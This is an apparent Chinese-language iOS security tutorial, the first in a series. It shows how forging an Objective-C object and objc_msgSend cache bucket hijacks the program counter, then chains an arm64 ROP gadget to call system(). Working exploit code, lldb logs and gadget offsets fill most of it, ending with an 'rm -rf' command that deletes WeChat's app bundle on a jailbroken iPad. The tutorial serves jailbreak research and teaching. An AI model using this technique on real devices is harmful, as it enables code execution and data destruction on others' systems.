冰指的是用戶態,火指的是內核態。如何突破像冰箱一樣的用戶態沙盒最終到達并控制如火焰一般燃燒的內核就是《iOS冰與火之歌》這一系列文章將要講述的內容。目錄如下:
另外文中涉及代碼可在我的github下載:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE
Objective-C是擴充C的面向對象編程語言。語法和C非常像,但實現的機制卻和java非常像。我們先來看一個簡單的Hello,World程序了解一下。
#!objc
Talker.h:
#import <Foundation/Foundation.h>
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@end
Talker.m:
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {
NSLog(@"[email protected]", phrase);
}
@end
hello.m:
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
}
因為測試機是ipad mini 4,這里我們只編譯一個arm64版本的hello。我們先make一下,然后我們用scp把hello傳到我們的ipad上面,然后嘗試運行一下:
如果我們能夠看到”Hello, Ice and Fire!”,那么我們的第一個Objective-C程序就完成了。
我們接下來看一下用ida對hello進行反匯編后的結果:
我們發現程序中充滿了objc_msgSend()
這個函數。這個函數可以說是Objective-C的靈魂函數。在Objective-C中,message與方法的真正實現是在執行階段綁定的,而非編譯階段。編譯器會將消息發送轉換成對objc_msgSend
方法的調用。
objc_msgSend
方法含兩個必要參數:receiver、方法名(即:selector)。比如如:
[receiver message];
將被轉換為:objc_msgSend(receiver, selector);
另外每個對象都有一個指向所屬類的指針isa。通過該指針,對象可以找到它所屬的類,也就找到了其全部父類,如下圖所示:
當向一個對象發送消息時,objc_msgSend
方法根據對象的isa指針找到對象的類,然后在類的調度表(dispatch table)中查找selector。如果無法找到selector,objc_msgSend
通過指向父類的指針找到父類,并在父類的調度表(dispatch table)中查找selector,以此類推直到NSObject類。一旦查找到selector,objc_msgSend
方法根據調度表的內存地址調用該實現。通過這種方式,message與方法的真正實現在執行階段才綁定。
為了保證消息發送與執行的效率,系統會將全部selector和使用過的方法的內存地址緩存起來。每個類都有一個獨立的緩存,緩存包含有當前類自己的selector以及繼承自父類的selector。查找調度表(dispatch table)前,消息發送系統首先檢查receiver對象的緩存。緩存命中的情況下,消息發送(messaging)比直接調用方法(function call)只慢一點點。
其實關于objc_msgSend
這個函數,Apple已經提供了源碼
(比如arm64版本: http://www.opensource.apple.com/source/objc4/objc4-647/runtime/Messengers.subproj/objc-msg-arm64.s)
為了有更高的效率,objc_msgSend這個函數是用匯編實現的:
首先函數會檢測傳遞進來的第一個對象是否為空,然后計算MASK。隨后就會進入緩存函數去尋找是否有selector對應的緩存:
如果這個selector曾經被調用過,那么在緩存中就會保存這個selector對應的函數地址,如果這個函數再一次被調用,objc_msgSend()
會直接跳轉到緩存的函數地址。
但正因為這個機制,如果我們可以偽造一個receiver對象的話,我們就可以構造一個緩存的selector的函數地址,隨后objc_msgSend()
就會跳轉到我們偽造的緩存函數地址上,從而讓我們可以控制PC指針。
在我們講如何偽造objc對象控制pc前,我們先分析一下運行時的Objc_msgSend()
函數。這里我們用lldb進行調試。我們先在ipad上用debugserver啟動hello這個程序:
#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1
for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1546).
然后在自己的pc上用lldb進行遠程連接:
#!bash
lldb
(lldb) process connect connect://localhost:5555
2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP
frame #0: 0x0000000120041000 dyld`_dyld_start
dyld`_dyld_start:
-> 0x120041000 <+0>: mov x28, sp
0x120041004 <+4>: and sp, x28, #0xfffffffffffffff0
0x120041008 <+8>: movz x0, #0
0x12004100c <+12>: movz x1, #0
接著我們可以在main函數那里設置一個斷點:
#!bash
(lldb) break set --name main
Breakpoint 1: no locations (pending).
WARNING: Unable to resolve breakpoint to any actual locations.
(lldb) c
Process 1546 resuming
1 location added to breakpoint 1
7 locations added to breakpoint 1
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100063e48 hello`main
hello`main:
-> 0x100063e48 <+0>: stp x22, x21, [sp, #-48]!
0x100063e4c <+4>: stp x20, x19, [sp, #16]
0x100063e50 <+8>: stp x29, x30, [sp, #32]
0x100063e54 <+12>: add x29, sp, #32
我們用disas反編譯一下main函數:
接下來我們在0x100063e94和0x100063ea4處下兩個斷點:
#!bash
(lldb) b *0x100063e94
Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94
(lldb) b *0x100063ea4
Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4
隨后我們繼續運行程序,然后用po $x0
和x/s $x1
可以看到receiver和selector的內容:
#!bash
(lldb) c
Process 1546 resuming
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
frame #0: 0x0000000100063e94 hello`main + 76
hello`main:
-> 0x100063e94 <+76>: bl 0x100063f18 ; symbol stub for: objc_msgSend
0x100063e98 <+80>: mov x0, x19
0x100063e9c <+84>: mov x1, x20
0x100063ea0 <+88>: mov x2, x21
(lldb) po $x0
<Talker: 0x154604510>
(lldb) x/s $x1
0x100063f77: "say:"
這里可以看到receiver和selector分別為Talker和say。因此我們可以通過po $x2
來知道say這個方法的參數的內容,也就是“ Hello, Ice and Fire!”
:
#!bash
(lldb) po $x2
Hello, Ice and Fire!
隨后我們用si命令進入objc_msgSend()
這個函數:
#!bash
* thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step into
frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend
libobjc.A.dylib`objc_msgSend:
-> 0x199c1dbc0 <+0>: cmp x0, #0
0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>
0x199c1dbc8 <+8>: ldr x13, [x0]
0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8
我們接著使用disas來看一下objc_msgSend的匯編代碼:
#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
0x199c1dbc0 <+0>: cmp x0, #0
-> 0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>
0x199c1dbc8 <+8>: ldr x13, [x0]
0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8
0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]
0x199c1dbd4 <+20>: and w12, w1, w11
0x199c1dbd8 <+24>: add x12, x10, x12, lsl #4
0x199c1dbdc <+28>: ldp x16, x17, [x12]
0x199c1dbe0 <+32>: cmp x16, x1
0x199c1dbe4 <+36>: b.ne 0x199c1dbec ; <+44>
0x199c1dbe8 <+40>: br x17
……
可以看到objc_msgSend
最開始做的事情就是從class的緩存中獲取selector和對應的地址(ldp x16, x17, [x12]
),然后用緩存的selector和objc_msgSend()
的selector進行比較(cmp x16, x1
),如果匹配的話就跳轉到緩存的selector的地址上(br x17
)。但由于我們是第一次執行[talker say]
,緩存中并沒有對應的函數地址,因此objc_msgSend()
還要繼續執行_objc_msgSend_uncached_impcache
去類的方法列表里查找say這個函數的地址。
那么我們就繼續執行程序,來看一下第二次調用say函數的話會怎么樣。
#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
0x199c1dbc0 <+0>: cmp x0, #0
0x199c1dbc4 <+4>: b.le 0x199c1dc2c ; <+108>
0x199c1dbc8 <+8>: ldr x13, [x0]
0x199c1dbcc <+12>: and x9, x13, #0x1fffffff8
0x199c1dbd0 <+16>: ldp x10, x11, [x9, #16]
-> 0x199c1dbd4 <+20>: and w12, w1, w11
當我們繼續執行程序進入objc_msgSend
后,在執行完"ldp x10, x11, [x9, #16]
"這條指令后,x10
會指向保存了緩存數據的地址。我們用x/10gx $x10
來查看一下這個地址的數據,可以看到init()
和say()
這兩個函數都已經被緩存了:
#!bash
(lldb) x/10gx $x10
0x146502e10: 0x0000000000000000 0x0000000000000000
0x146502e20: 0x0000000000000000 0x0000000000000000
0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c
0x146502e40: 0x0000000100053f37 0x0000000100053ea4
0x146502e50: 0x0000000000000004 0x000000019ccad6f8
(lldb) x/s 0x000000018b0f613e
0x18b0f613e: "init"
(lldb) x/s 0x0000000100053f37
0x100053f37: "say:"
前一個數據是selector的地址,后一個數據就是selector對應的函數地址,比如say()這個函數:
#!bash
(lldb) x/10i 0x0000000100053ea4
0x100053ea4: 0xa9bf7bfd stp x29, x30, [sp, #-16]!
0x100053ea8: 0x910003fd mov x29, sp
0x100053eac: 0xd10043ff sub sp, sp, #16
0x100053eb0: 0xf90003e2 str x2, [sp]
0x100053eb4: 0x10000fa0 adr x0, #500 ; @"[email protected]"
0x100053eb8: 0xd503201f nop
0x100053ebc: 0x94000004 bl 0x100053ecc ; symbol stub for: NSLog
0x100053ec0: 0x910003bf mov sp, x29
0x100053ec4: 0xa8c17bfd ldp x29, x30, [sp], #16
0x100053ec8: 0xd65f03c0 ret
正如我之前提到的,如果我們可以偽造一個ObjC對象,然后構造一個假的cache的話,我們就有機會控制PC指針了。既然如此我們就來試一下吧。首先我們需要找到selector在內存中的地址,這個問題可以使用NSSelectorFromString()
這個系統自帶的API來解決,比如我們想知道”release”這個selector的地址,就可以使用NSSelectorFromString(@"release")
來獲取。
隨后我們要構建一個假的receiver
,假的receiver
里有一個指向假的objc_class
的指針,假的objc_class
里又保存了假的cache_buckets
的指針和mask
。假的cache_buckets
的指針最終指向我們將要偽造的selector
和selector
函數的地址:
#!objc
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
}fake_receiver;
struct fake_objc_class_t {
char pad[0x10];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
接下來我們在main函數中嘗試將talker這個receiver改成我們偽造的receiver,然后利用偽造的”release” selector來控制PC指向0x41414141414141
這個地址:
#!objc
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
fake_cache_bucket.cached_function = (void*)0x41414141414141;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
fake_objc_class.cache_bucket_mask=0;
fake_receiver.fake_objc_class_ptr=&fake_objc_class;
talker= &fake_receiver;
[talker release];
}
OK,接下來我們把新編譯的hello傳到我們的ipad上,然后用debugserver進行調試:
#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-340.3.51.1
for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1891).
然后我們用lldb進行連接,然后直接運行:
#!bash
MacBookPro:objpwn zhengmin$ lldb
(lldb) process connect connect://localhost:5555
2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP
frame #0: 0x0000000120029000 dyld`_dyld_start
dyld`_dyld_start:
-> 0x120029000 <+0>: mov x28, sp
0x120029004 <+4>: and sp, x28, #0xfffffffffffffff0
0x120029008 <+8>: movz x0, #0
0x12002900c <+12>: movz x1, #0
(lldb) c
Process 1891 resuming
2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191
2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)
frame #0: 0x0041414141414141
error: memory read failed for 0x41414141414000
可以看到我們成功的控制了PC,讓PC指向了0x41414141414141。
雖然我們控制了PC,但在iOS上我們并不能采用nmap()
或者mprotect()
將內存改為可讀可寫可執行,如果我們想要讓程序執行一些我們想要的指令的話必須要使用ROP。如果對于ROP不太了解的話,我推薦閱讀一下我寫的《一步一步學ROP》系列文章(http://drops.wooyun.org/papers/11390)
在各個系統中ROP的基本思路是一樣的,這里我就簡單介紹一下iOS上ROP的思路。
首先要知道的是,在iOS上默認是開啟ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在內存中的地址也是隨機的。所以我們在iOS上使用ROP技術必須配合信息泄露的漏洞才行。雖然在iOS上寫ROP非常困難,但有個好消息是雖然program image是隨機的,但是每個進程都會加載的dyld_shared_cache
這個共享緩存的地址在開機后是固定的,并且每個進程的dyld_shared_cache
都是相同的。這個dyld_shared_cache
有好幾百M大,基本上可以滿足我們對gadgets的需求。因此我們只要在自己的進程獲取dyld_shared_cache
的基址就能夠計算出目標進程gadgets的位置。
dyld_shared_cache
文件一般保存在/System/Library/Caches/com.apple.dyld/
這個目錄下。我們下載下來以后就可以用ROPgadget這個工具來搜索gadget了。我們先實現一個簡單的ROP,用system()
函數執行”touch /tmp/IceAndFire
”。因為我們x0
是我們控制的fake_receiver
的地址,因此我們可以搜索利用x0
來控制其他寄存器的gadgets。比如下面這條:
#!bash
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
隨后我們可以構造一個假的結構體,然后給對應的寄存器賦值:
#!objc
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
uint8_t pad1[0x70-0x8];
uint64_t x0;
uint8_t pad2[0x98-0x70-0x8];
uint64_t x1;
char cmd[1024];
}fake_receiver;
fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
最后我們將cached_function
的值指向我們gagdet的地址就能控制程序執行system()
指令了:
#!objc
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
//0x00000000000dcf7c ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
編譯完后,我們將hello這個程序傳輸到iOS上測試一下:
發現/tmp
目錄下已經成功的創建了IceAndFire這個文件了。
有人覺得只是在tmp目錄下touch一個文件并不過癮,那么我們就嘗試一下刪除其他應用吧。應用的運行文件都保存在”/var/mobile/Containers/Bundle/Application/
”目錄下,比如微信的運行程序就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat
”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95這個值是在app安裝時隨機分配的)。于是我們將cmd指令換成:
#!objc
strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
然后再執行一下hello這個程序。程序運行后我們會發現微信的app圖標還在,但當我們嘗試打開微信的時候app就會秒退。這是因為雖然app被刪了但springboard依然會有圖標的緩存。這時候我們只要重啟一下springboard或者手機就可以清空對應的圖標的緩存了。這也就是為啥demo中的視頻需要重啟一下手機的原因:
這篇文章簡單介紹了iOS上Objective-C 的利用以及iOS 上arm64 ROP,這些都是越獄需要掌握的最基本的知識。要注意的事,能做到執行system指令是因為我們是在越獄環境下以root身份運行了我們的程序,在非越獄模式下app是沒有權限執行這些system指令的,想要做到這一點必須利用沙箱逃逸的漏洞才行,我們會在隨后的文章中介紹這些過沙箱的技術,敬請期待。
另外,另外文中涉及代碼可在我的github下載:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE